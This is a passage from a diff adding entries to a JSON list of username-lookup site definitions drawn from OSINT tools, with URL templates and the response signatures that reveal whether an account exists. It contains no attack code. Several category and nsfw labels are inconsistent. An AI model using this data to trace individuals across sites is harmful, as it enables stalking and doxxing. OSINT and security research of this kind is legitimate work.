"https://werelate.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "WeTransfer", + "url": "https://{}.wetransfer.com", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 307, + "match_code": 200, + "match_string": "workspaceName" + }, + { + "name": "Wfts", + "url": "https://wfts.su/profile/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041e\u0448\u0438\u0431\u043a\u0430: \u0438\u0433\u0440\u043e\u043a \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "What Happens In Vegas Stays (Las Vegas, NV)", + "url": "https://www.whathappensinvegasstays.com/?s={}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Nothing Found</h1>", + "match_string": "search-results" + }, + { + "name": "Wheretosee", + "url": "https://wheretosee.org/wildlife/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Whitewaterguidebook", + "url": "https://www.whitewaterguidebook.com/forums/users/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Whonix", + "url": "https://forums.whonix.org/search?expanded=true&q=%40{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "No results found." + }, + { + "name": "whonixforum", + "url": "https://forums.whonix.org/u/{}/summary", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "Whyislam", + "url": "https://www.whyislam.to/forum/memberlist.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "WicgForum", + "url": "https://discourse.wicg.io/u/{}/summary", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>WICG", + "match_string": " Profile -" + }, + { + "name": "Wickeditor", + "url": "https://forum.wickeditor.com/u/{}/summary", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wiki", + "url": "https://wiki.bytecode.club/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.clicklaw.bc.ca/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.contribs.org/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.eclipse.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.edgertronic.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.factorio.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.freephile.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.geni.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.gentoo.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.hostelmanagement.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.lostsouls.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.openmw.org/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.openvz.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.osdev.org/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.robojackets.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.secondlife.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.shartak.com/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.spacesim.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.therofl98.co/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.ubc.ca/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.urbandead.com/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.vtiger.com/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.xentax.com/wiki/User:{}", + "category": "social", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.xiph.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "wiki.creativecommons.org", + "url": "https://wiki.creativecommons.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wiki.linuxquestions.org", + "url": "https://wiki.linuxquestions.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wiki.mozilla.org", + "url": "https://wiki.mozilla.org/wiki/User:{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wiki.mtasa.com", + "url": "https://wiki.mtasa.com/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wiki.teamfortress.com", + "url": "https://wiki.teamfortress.com/wiki/User:{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wiki.tfes.org", + "url": "https://wiki.tfes.org/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "is not registered.", + "match_string": "History" + }, + { + "name": "wiki.themanaworld.org", + "url": "https://wiki.themanaworld.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wiki.vg", + "url": "https://wiki.vg/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wiki.wesnoth.org", + "url": "https://wiki.wesnoth.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wiki.xkcd.com", + "url": "https://wiki.xkcd.com/geohashing/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wikialpha.org", + "url": "https://wikialpha.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wikiapiary.com", + "url": "https://wikiapiary.com/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wikicu", + "url": "https://wikicu.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikidifferences", + "url": "https://wikidifferences.com/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikidot", + "url": "http://www.wikidot.com/user:info/{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User does not exist.", + "match_string": "Wikidot user since" + }, + { + "name": "Wikidot", + "url": "https://wikidot.com/user:info/{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "User Information", + "match_string": "user-info" + }, + { + "name": "Wikidr", + "url": "https://wikidr.net/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikifarming", + "url": "https://wikifarming.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikigrib", + "url": "https://wikigrib.ru/author/{}/", + "category": "wiki", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "<title>\u042d\u043d\u0446\u0438\u043a\u043b\u043e\u043f\u0435\u0434\u0438\u044f \u0433\u0440\u0438\u0431\u043e\u0432 \u00ab\u0412\u0438\u043a\u0438\u0413\u0440\u0438\u0431\u00bb" + }, + { + "name": "Wikihow", + "url": "https://www.wikihow.com/Author/{}", + "category": "wiki", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wikiislam.net", + "url": "https://wikiislam.net/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wikiloc", + "url": "https://www.wikiloc.com/wikiloc/findPeople.do?name={}", + "category": "wiki", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wikimapia", + "url": "https://wikimapia.org/user/register/?check=username&value={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"ok\":true", + "match_code": 200, + "match_string": "\"ok\":false" + }, + { + "name": "WikimapiaProfile", + "url": "http://wikimapia.org/user/{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "January 01, 1970" + }, + { + "name": "WikimapiaSearch", + "url": "http://wikimapia.org/user/tools/users_rating/?username={}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "20" + }, + { + "name": "Wikimsk", + "url": "https://wikiMSK.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikipathways", + "url": "https://wikipathways.org/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikipedia", + "url": "https://www.wikipedia.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "is not registered" + }, + { + "name": "Wikipedia", + "url": "https://en.wikipedia.org/wiki/Special:CentralAuth/{}?uselang=qqx", + "category": "wiki", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "centralauth-admin-nonexistent:" + }, + { + "name": "Wikipedia", + "url": "https://meta.wikimedia.org/w/api.php?action=query&format=json&list=globalallusers&aguprefix={}&agulimit=100", + "category": "news", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": ":[]}}", + "match_code": 200, + "match_string": "{\"id\":" + }, + { + "name": "Wikipedia", + "url": "https://en.wikipedia.org/w/api.php?action=query&format=json&list=users&ususers={}", + "category": "news", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "missing:", + "match_code": 200, + "match_string": "userid" + }, + { + "name": "wikipedia", + "url": "https://en.wikipedia.org/wiki/User:{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "Wikipediaquality", + "url": "https://wikipediaquality.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikipediocracy", + "url": "https://wikipediocracy.com/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry but you cannot use" + }, + { + "name": "Wikipunch", + "url": "https://wikipunch.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikiquiz", + "url": "https://wikiquiz.org/revision-notes/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikiquote", + "url": "https://ru.wikiquote.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "category": "wiki", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wikishire", + "url": "https://wikishire.co.uk/wiki/User:{}", + "category": "professional", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikivoyage", + "url": "https://ru.wikivoyage.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "category": "wiki", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wikivoyage", + "url": "https://en.wikivoyage.org/wiki/User:{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "Wikiwrimo", + "url": "https://wikiwrimo.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "wikizilla.org", + "url": "https://wikizilla.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "is not registered.", + "match_string": "class=\"mw-socialprofile-avatar\" alt=\"avatar\"/><" + }, + { + "name": "Wiktionary", + "url": "https://ru.wiktionary.org/w/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}&action=view", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wild-nature", + "url": "http://www.wild-nature.ru/users/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0430\u0448\u0438 \u0430\u0432\u0442\u043e\u0440\u044b | \u0414\u0438\u043a\u0430\u044f \u043f\u0440\u0438\u0440\u043e\u0434\u0430 \u0432 \u0444\u043e\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u044f\u0445 \u0438 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0445" + }, + { + "name": "WimkinPublicProfile", + "url": "https://wimkin.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": " The page you are looking for cannot be found.", + "match_string": "is on WIMKIN" + }, + { + "name": "Winamp", + "url": "http://forums.winamp.com/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Windows10forums", + "url": "https://www.windows10forums.com//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Windows10forums", + "url": "https://www.windows10forums.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Windowsforum", + "url": "https://windowsforum.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Windy", + "url": "https://community.windy.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wineberserkers", + "url": "https://www.wineberserkers.com/u/{}/summary", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Winnipegwatch", + "url": "https://winnipegwatch.websitetoolbox.com/search?keywords=&searchin=message&member={}&do=findposts&id=&replies=atleast&numreplies=0&daterange=0&custdatefrom=&custdateto=&sort=&order=desc&radio_showas=threads&btnSearch=Search&action=doSearch", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "was not found." + }, + { + "name": "Wireclub", + "url": "https://www.wireclub.com/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "WiredNewYork", + "url": "http://wirednewyork.com//member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wiscobourbon", + "url": "https://wiscobourbon.com/forums/users/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wishlistr", + "url": "https://www.wishlistr.com/profile/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Wishlistr", + "url": "https://www.wishlistr.com/sign-up/?rs=checkUserName&rsargs[]={}", + "category": "shopping", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "+:var res = parseInt(0);", + "match_code": 200, + "match_string": "+:var res = \"" + }, + { + "name": "wishlistr", + "url": "https://www.wishlistr.com/profile/{}/", + "category": "shopping", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 302, + "match_code": 200, + "match_string": "s profile" + }, + { + "name": "Witchnest", + "url": "https://witchnest.ru/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Domain Error Page" + }, + { + "name": "Withoutvowels", + "url": "https://withoutvowels.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wittyprofiles", + "url": "http://www.wittyprofiles.com/author/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "It looks like you are looking for something that isn't here." + }, + { + "name": "Wix", + "url": "https://{}.wix.com", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wm-maximum.ru", + "url": "http://wm-maximum.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wm.ucoz.com", + "url": "http://wm.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wmmail-wmmail.3dn.ru", + "url": "http://wmmail-wmmail.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "WolframalphaForum", + "url": "https://community.wolfram.com/web/{}/home", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wolga24.at.ua", + "url": "http://wolga24.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "WolniSlowianie", + "url": "https://wolnislowianie.pl/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Nie znaleziono strony, kt\u00f3rej szukasz.", + "match_string": "O\u015b czasu" + }, + { + "name": "Wolpy", + "url": "http://wolpy.com/{}/profile", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wolpy", + "url": "https://wolpy.com/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "ItPage not found" + }, + { + "name": "Women Behind Bars (search)", + "url": "https://womenbehindbars.com/?s={}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "<p>Sorry, but nothing", + "match_string": "</span> Read More" + }, + { + "name": "Wordart", + "url": "https://wordart.com/gallery/user/{}", + "category": "art", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wordnik", + "url": "https://www.wordnik.com/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Wordnik: Page Not Found", + "match_string": "Welcome," + }, + { + "name": "Wordnik", + "url": "https://wordnik.com/users/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "You've found our 404 page" + }, + { + "name": "WordPress", + "url": "https://{}.wordpress.com/", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "WordPress.com (Deleted)", + "url": "https://public-api.wordpress.com/rest/v1.1/sites/{}.wordpress.com", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"error\":\"unknown_blog\"", + "match_code": 403, + "match_string": "\"message\":\"API calls to this endpoint have been disabled.\"" + }, + { + "name": "WordPress.org (Forums)", + "url": "https://login.wordpress.org/wp-json/wporg/v1/username-available/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"available\":true", + "match_code": 200, + "match_string": "\"error\":\"That username is already in use." + }, + { + "name": "WordPressOrg", + "url": "https://profiles.wordpress.org/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "WordpressSupport", + "url": "https://wordpress.org/support/users/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User not found", + "match_string": "s Profile | WordPress.org" + }, + { + "name": "Worldis.me", + "url": "http://en.worldis.me/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "user_password", + "match_string": "my_profile" + }, + { + "name": "worldofdragonage.ru", + "url": "http://worldofdragonage.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Worldofplayers", + "url": "https://worldofplayers.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Worldofwarcraft_blizzard", + "url": "https://worldofwarcraft.blizzard.com/en-us/character/us/frostmourne/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Error 404" + }, + { + "name": "Worldtruth", + "url": "https://www.worldtruth.online/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Worldtruth", + "url": "https://www.worldtruth.online/{}", + "category": "other", + "source": "nexfil", + "nsfw": false + }, + { + "name": "Worldwindcentral", + "url": "https://worldwindcentral.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "WorlfOfTanksForum", + "url": "https://forum.wotanks.com/member.php/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d" + }, + { + "name": "Wot-game", + "url": "https://wot-game.com/user/{}/", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "WOW Circle", + "url": "https://forum.wowcircle.net/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wow-game", + "url": "http://www.wow-game.ru/index/8-0-{}", + "category": "gaming", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "wow-game.ru", + "url": "http://wow-game.ru/index/8-0-{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wowhead", + "url": "https://www.wowhead.com/user={}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wowhead", + "url": "https://wowhead.com/user={}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "\"description\"" + }, + { + "name": "Wowjp", + "url": "https://wowjp.net/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "wowjp.net", + "url": "http://wowjp.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wowpaksi.clan.su", + "url": "http://wowpaksi.clan.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wowpedia", + "url": "https://wowpedia.org/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "write.as", + "url": "https://write.as/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Writercenter", + "url": "https://writercenter.ru/profile/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "writingforums.org", + "url": "http://www.writingforums.org//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wuz", + "url": "http://wuz.by/forum/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "ww2aircraft.net", + "url": "https://ww2aircraft.net/forum//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wwork.my1.ru", + "url": "http://wwork.my1.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "www.adultism.com", + "url": "https://www.adultism.com/profile/{}", + "category": "adult", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Not Found", + "match_string": "Member since" + }, + { + "name": "www.change.org", + "url": "https://www.change.org/o/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "match_string": "first_name" + }, + { + "name": "www.dateamillionaire.com", + "url": "https://www.dateamillionaire.com/members/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "input[name=", + "match_string": "patch_fill profile_box" + }, + { + "name": "www.flickr.com", + "url": "https://www.flickr.com/groups/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": ":404,", + "match_string": "username" + }, + { + "name": "www.freelancejob.ru", + "url": "https://www.freelancejob.ru/users/{}/", + "category": "professional", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<h1>\u041e\u0448\u0438\u0431\u043a\u0430 404</h1>", + "match_string": "\u041a\u043e\u043b-\u0432\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u043e\u0432 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + }, + { + "name": "www.furaffinity.net", + "url": "https://www.furaffinity.net/gallery/{}", + "category": "adult", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": ">The username ", + "match_string": "og:title" + }, + { + "name": "www.gamesradar.com", + "url": "https://www.gamesradar.com/uk/author/{}/", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "noindex", + "match_string": "Email" + }, + { + "name": "www.gta-multiplayer.cz", + "url": "https://www.gta-multiplayer.cz/en/profile/{}/gaming", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\t <h2>Page not found</h2>\r", + "match_string": "ProfileTabs" + }, + { + "name": "www.hsx.com", + "url": "https://www.hsx.com/profile/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "reg-container", + "match_string": "profile-info" + }, + { + "name": "www.inaturalist.org", + "url": "https://www.inaturalist.org/lists/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "display:none", + "match_string": "Profile" + }, + { + "name": "www.itemfix.com", + "url": "https://www.itemfix.com/c/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>ItemFix - Channel: ", + "match_string": "user_token" + }, + { + "name": "www.kinokopilka.pro", + "url": "https://www.kinokopilka.pro/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "match_string": "profile" + }, + { + "name": "www.liinks.co", + "url": "https://www.liinks.co/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "_fs_namespace", + "match_string": "user" + }, + { + "name": "www.livios.be", + "url": "https://www.livios.be/nl/forum/leden/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "not found", + "match_string": " " + }, + { + "name": "www.portal-pisarski.pl", + "url": "https://www.portal-pisarski.pl/profil/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "obrazki/404.png", + "match_string": "profil/" + }, + { + "name": "www.sql.ru", + "url": "https://www.sql.ru/forum/actualsearch.aspx?a={}&ma=0", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435", + "match_string": "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "www.stopstalk.com", + "url": "https://www.stopstalk.com/user/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "pupil", + "match_string": "" + }, + { + "name": "www.tagged.com", + "url": "http://www.tagged.com/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "lastName", + "match_string": "profile" + }, + { + "name": "www.tnaflix.com", + "url": "https://www.tnaflix.com/profile/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Not Found", + "match_string": "profile-header" + }, + { + "name": "www.turpravda.com", + "url": "https://www.turpravda.com/profile/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Title", + 